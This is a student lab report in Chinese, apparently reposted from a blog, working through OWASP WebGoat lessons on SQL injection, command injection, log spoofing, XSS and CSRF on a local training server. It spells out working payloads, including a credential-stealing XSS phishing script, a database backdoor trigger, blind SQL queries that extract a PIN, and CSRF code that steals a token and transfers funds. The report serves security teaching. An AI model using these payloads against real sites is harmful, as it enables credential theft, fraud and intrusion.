2018-2019-2 20165330《网络对抗技术》Exp9 Web安全基础
- 基礎問題
- 實驗目的
- 實驗內容
- 實驗步驟
- 實驗總結與體會
實驗目的
- 本實踐的目標理解常用網絡攻擊技術的基本原理。
返回目錄
實驗內容
- WebGoat準備工作
- SQL注入攻擊
- 命令注入(Command Injection)
- 數字型SQL注入(Numeric SQL Injection)
- 日志欺騙(Log Spoofing)
- 字符串型注入(String SQL Injection)
- LAB: SQL Injection
- 數據庫后門(Database Backdoors)
- 數字型盲注入(Blind Numeric SQL Injection)
- 字符串型盲注入(Blind String SQL Injection)
- XSS攻擊
- Phishing with XSS 跨站腳本釣魚攻擊
- Stored XSS Attacks 存儲型XSS攻擊
- Reflected XSS Attacks 反射型XSS攻擊
- CSRF攻擊
- Cross Site Request Forgery(CSRF)
- CSRF Prompt By-Pass
- CSRF Token By-Pass
返回目錄
基礎問題
SQL注入攻擊原理,如何防御
- SQL注入攻擊指的是通過構建特殊的輸入作為參數傳入Web應用程序,而這些輸入大都是SQL語法里的一些組合,通過執行SQL語句進而執行攻擊者所要的操作。如通過在用戶名、密碼登輸入框中輸入一些',--,#等特殊字符,實現引號閉合、注釋部分SQL語句,利用永真式實現登錄、顯示信息等目的。
- 防御:
- 檢查變量數據類型和格式
- 對無法確定固定格式的變量,進行特殊符號過濾或轉義處理
- 綁定變量,使用預編譯語句
XSS攻擊的原理,如何防御
- 全稱為跨站腳本攻擊,是一種網站應用程序的安全漏洞攻擊。攻擊者通過往Web頁面里插入惡意html標簽或者javascript代碼,當用戶瀏覽該頁或者進行某些操作時,利用用戶對原網站的信任,誘騙用戶或瀏覽器執行一些不安全的操作或者向其它網站提交用戶的私密信息。
- 防御:
- 在表單提交或者url參數傳遞前,對需要的參數進行過濾
- 檢查用戶輸入的內容中是否有非法內容
CSRF攻擊原理,如何防御
- 全程為跨站域請求偽造,攻擊者借用用戶的身份,向web server發送請求,因為該請求不是用戶本意,所以稱為“跨站請求偽造”。CSRF攻擊中的那個“偽造的請求”的URL地址,一般是通過XSS攻擊來注入到服務器中的。所以其實CSRF可以看做是XSS攻擊的一種。
- CSRF的攻擊分為兩步,首先要注入惡意URL地址,然后在該地址中寫入攻擊代碼,利用<img>等標簽或者使用Javascript腳本。
- 防御:
- 通過referer、token或者驗證碼來檢測用戶提交
- 盡量不要在頁面的鏈接中暴露用戶隱私信息,對于用戶修改刪除等操作最好都使用post操作
- 避免全站通用的cookie,嚴格設置cookie的域
返回目錄
實驗步驟 一、WebGoat準備工作
WebGoat是OWASP組織研制出的用于進行web漏洞實驗的應用平臺,用來說明web應用中存在的安全漏洞。其運行在帶有java虛擬機的平臺之上,并提供了一系列web安全學習的教程,來指導用戶利用這些漏洞進行攻擊。
- 下載jar包:webgoat-container-7.0.1-war-exec.jar
這個下載好慢。。遲遲下不下來的我下載了webgoat-container-7.0-SNAPSHOT-war-exec.jar也是可以進行后續實驗的!! - 終止占用8080端口的其他進程
- 因為WebGoat默認使用8080端口
- 先查看8080端口是否被占用:netstat -tupln | grep 8080
- 如果被占用,用kill 進程號或kill -s 9 進程號終止占用8080端口的進程
- 查看是否安裝有JDK:java -version查看jdk版本
- 開啟WebGoat:java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar
- 在看到信息Starting ProtocolHandler ["http-bio-8080"]這一條消息之后就可以進行下一步了~
- 瀏覽器中打開WebGoat登錄界面:http://localhost:8080/WebGoat(在界面里我們可以看到給出了兩組用戶名和密碼,可以直接使用登陸)
- 成功登錄后可在左側看到實踐課程
1. 命令注入(Command Injection)
目標:能夠在目標主機上執行任何系統命令
- 點擊Injection Flaws-Command Injection
- 右鍵點擊復選框,選擇inspect Element審查網頁元素對源代碼進行修改,在末尾添加"& netstat -an & ipconfig"
- 點擊view,可查看到命令執行結果
- 正常的結果是這樣的
2. 數字型SQL注入(Numeric SQL Injection)
目標:顯示天氣情況
- 點擊Injection Flaws-Numeric SQL Injection
- 右鍵點擊復選框,選擇inspect Element審查網頁元素對源代碼value="101"進行修改,在城市編號101后面添加or 1=1
- 點擊Go,可以看到攻擊成功
左上角的符號表明做對了~
3. 日志欺騙(Log Spoofing)
目標:使用戶名為admin的用戶在日志中顯示成功登錄
- 點擊Injection Flaws-Log Spoofing
- 在User Name中填入webgoat%0d%0aLogin Succeeded for username: admin,利用回車0D%和換行符%0A讓其在日志中兩行顯示
- 輸入密碼后點擊Login,可以看到webgoat在Login Fail那行顯示,我們自己添加的語句在下一行顯示
- 此外,攻擊者可以向日志文件中添加惡意腳本,腳本的返回信息管理員能夠通過瀏覽器看到。
- 在用戶名中輸入admin <script>alert(document.cookie)</script>,管理員可以看到彈窗的cookie信息
4. 字符串型注入(String SQL Injection)
目標:基于查詢語句構造自己的SQL 注入字符串將所有信用卡信息顯示出來。
- 點擊Injection Flaws-String SQL Injection
- 輸入查詢的用戶名Smith' or 1=1--
- 操作中我們使用了'提前閉合"",插入永真式1=1,且--注釋掉后面的內容,這樣就能select表里面的所有數據
- 結果如下:
5. LAB: SQL Injection
使用SQL注入繞過認證。
- 在密碼框輸入' or 1=1 --,登錄失敗,會發現密碼只有一部分輸入,說明密碼長度有限制。
- 我們在密碼框右鍵選擇inspect Element審查網頁元素對長度進行修改
- 重新輸入' or 1=1 --,登錄成功
6. 數據庫后門(Database Backdoors)
數據庫通常作為一個Web應用程序的后端來使用。此外,它也用來作為存儲的媒介。它也可以被用來作為存儲惡意活動的地方,如觸發器。觸發器是在數據庫管理系統上調用另一個數據庫操作,如insert,select,update or delete。
攻擊者可以創建一個觸發器,該觸發器在創建新用戶時,將每個新用戶的Email 地址設置為攻擊者的地址。
- 輸入101,得到該用戶的信息
可以發現,輸入的語句沒有驗證,很容易進行 SQL 注入。 - 輸入注入語句101; update employee set salary=10000(這里執行了兩個語句,中間需要用分號分隔)
- 設置觸發器:101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
- 由于WebGoat 使用的是MySQL數據庫,不支持觸發器,因此該課程并不能在這里真正實現。
7. 數字型盲注入(Blind Numeric SQL Injection)
某些SQL注入是沒有明確返回信息的,只能通過條件的“真”和“假”進行判斷。攻擊者必須充分利用查詢語句,構造子查詢語句。
- 服務端頁面返回的信息只有兩種:帳號有效或無效。因此無法簡單地查詢到帳號的PIN 數值。盡管如此,我們可以利用系統后臺在用的查詢語句:SELECT * FROM user_data WHERE userid=accountNumber;
- 如果該查詢語句返回了帳號的信息,頁面將提示帳號有效,否則提示無效。
使用AND函數,我們可以添加一些額外的查詢條件。如果該查詢條件同樣為真,則返回結果應提示帳號有效,否則無效:
101 AND 1=1 101 AND 1=2` 第一個語句中,兩個條件都成立,所以頁面返回Account number is valid;而第二條則返回帳號無效- 現在針對查詢語句的后半部分構造復雜語句。下面的語句可以告訴我們PIN數值是否大于10000:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
- 如果頁面提示帳號有效,說明PIN>10000 否則 PIN<=10000
- 不斷調整數值,可以縮小判斷范圍,并最終判斷出PIN 數值的大小。最終如下語句返回帳號有效:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
在查詢框中輸入2364并提交
8. 字符串型盲注入(Blind String SQL Injection)
目標:找到pins表中cc_number字段值為4321432143214321的記錄中pin字段的數值。pin字段類型為varchar。輸入找到的數值(最終的字符串,注意拼寫和大寫)并提交。
- 這里我們查詢的字段是一個字符串而不是數值,與上一節類似我們同樣可以通過注入的方式查找到該字段的值:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
(該語句使用了SUBSTRING 方法,取得pin 字段數值的第一個字母,并判斷其是否比字母“H”小。) - 經過多次測試(比較0-9A-Za-z等字符串)和頁面的返回數據,判斷出第一個字符為J。同理繼續判斷第二個字符:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );
- 最終,判斷出pin字段的值為Jill,提交該值。
1. Phishing with XSS 跨站腳本釣魚攻擊
在XSS的幫助下,我們可以實現釣魚工具或向某些官方頁面中增加內容。對于受害者來說很難發現該內容是否存在威脅。目標是創建一個form,要求填寫用戶名和密碼。
一個帶用戶名和密碼輸入框的表格如下:
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>- 在XSS-Phishing with XSS搜索上面代碼,可以看到頁面中增加了一個表單
現在我們需要一段腳本:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>- 這段代碼會讀取我們在表單上輸入的用戶名和密碼信息,將這些信息發送給捕獲這些信息的WebGoat。
將上面兩段代碼合并搜索
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>我們在搜索到的表單中輸入用戶名和密碼,點擊登錄,WebGoat會將輸入的信息捕獲并反饋給我們。
2. Stored XSS Attacks 存儲型XSS攻擊
目標:創建非法的消息內容,可以導致其他用戶訪問時載入非預期的頁面或內容。
- 在Message中構造語句<script>alert("20165330 attack succeed!");</script>,Title任意輸入。提交后可發現剛創建的帖子5330。
- 點擊5330,然后會彈出一個對話框,證明XSS攻擊成功。
3. Reflected XSS Attacks 反射型XSS攻擊
XSS反射型攻擊,惡意代碼并沒有保存在目標網站,通過引誘用戶點擊一個鏈接到目標網站的惡意鏈接來實施攻擊的。
- 在Enter your three digit access code:中輸入<script>alert("I am 20165330");</script>點擊Purchase,成功顯示警告框,內容為我們script腳本指定的內容。
- 若我們輸入上一課程的腳本,其原理相同,也會成功。
1. Cross Site Request Forgery(CSRF)
CSRF通過偽裝來自受信任用戶的請求來利用受信任的網站。目標:向一個新聞組發送一封郵件,郵件中包含一張圖片,這個圖像的URL指向一個惡意請求。
- 點擊XSS-Cross Site Request Forgery(CSRF)
- 查看頁面右下方Parameters中的src和menu值,我的分別為309和900
- 在Message框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" width="1" height="1" />,以圖片的的形式將URL放進Message框,這時的URL對其他用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件,點擊Submit提交(其中語句中的&transferFunds=5000,即轉走的受害人的金額;寬高設置成1像素的目的是隱藏該圖片)
- 輸入任意Title,提交后,在Message List中生成以Title命名的鏈接(消息)。點擊該消息,當前頁面就會下載這個消息并顯示出來,轉走用戶的5000元,從而達到CSRF攻擊的目的。
2. CSRF Prompt By-Pass
- 點擊XSS-CSRF Prompt By-Pass
同上面的攻擊,查看頁面右下方的Parameters中的src和menu值,我的分別為320和900,并輸入任意的Title,message框中輸入代碼
<iframe src="attack?Screen=320&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=320&menu=900&transferFunds=CONFIRM"> </iframe>點擊Submit生成以Title命名的鏈接,點擊鏈接,攻擊成功
3. CSRF Token By-Pass
目標是向包含惡意轉賬請求的新聞組發送電子郵件。要成功完成,需要獲取有效的請求令牌。顯示轉賬表單的頁面包含有效的請求令牌。轉賬頁面的URL是“攻擊”servlet,帶有本課的“屏幕”和“菜單”查詢參數以及額外的參數“transferFunds=main”。加載此頁面,讀取令牌并將令牌附加到偽造的請求中,以轉移資金
- 點擊XSS-CSRF Token By-Pass
- 查看網頁http://local host:8080/WebGoat/attack?Screen=728&menu=900&transferFunds=main生成的資金轉賬頁面的表單內容。
- 右鍵查看源代碼,可以看到Token參數
<form accept-charset='UNKNOWN' id='transferForm' method='POST' action='#attack/728/900' enctype='application/x-www-form-urlencoded'> <input name='transferFunds' type='text' value='0'> <input name='CSRFToken' type='hidden' value='79375628'> <input type='submit'> </form> 結合上面的token值構造偽造的URL,附加轉賬參數4000。下面是我從網上教程中找到的一段代碼,通過frame->forme的路徑可以讀取并保存CSRFToken參數:
<script> var tokenvalue; // Step 2 :竊取token function readFrame1() {var frameDoc = document.getElementById("frame1").contentDocument;var form = frameDoc.getElementsByTagName("form")[1];var token = form.CSRFToken.value;tokenvalue = '&CSRFToken='+token; loadFrame2(); } //Step 3 :結合token值構造偽造的URL,附加轉賬參數4000 function loadFrame2() {var testFrame = document.getElementById("frame2");testFrame.src="?transferFunds=4000"+tokenvalue; } </script> <!-- Step 1 :給出的是正常的頁面,其實已經加載了一個js腳本,來獲取token--> <iframe src="http://localhost:8080/WebGoat/attack?Screen=728&menu=900&transferFunds=main" onload="readFrame1();" id="frame1" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe> <!-- Step 4 :將構造的URL發送給Server并生效--> <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe>點擊Submit后查看以Title命名的鏈接
不知道為啥我的顯示是這樣的。。。
返回目錄
實驗總結與體會
- 本次實踐都是在webgoat上完成,就類似以前接觸的實驗樓,都有指導,這也加深了我對XSS攻擊、SQL注入以及CSRF攻擊的理解。雖然一開始下載jar包就用了好久時間,但對于行不通的方法真的要好好找資料換其他可行的方法,實踐不止局限于課程中的指導,不斷地查資料會讓自己了解的更全面!
參考資料
- Webgoat安裝
- 安裝使用WebGoat
- WebGoat中文手冊
轉載于:https://www.cnblogs.com/besty-zyx/p/10896709.html
《新程序員》:云原生和全面數字化實踐50位技術專家共同創作,文字、視頻、音頻交互閱讀總結
以上是生活随笔為你收集整理的2018-2019-2 20165330《网络对抗技术》Exp9 Web安全基础的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 深入解析阿里Android热修复技术原理
- 下一篇: 前端进阶之如何正确判断this的指向?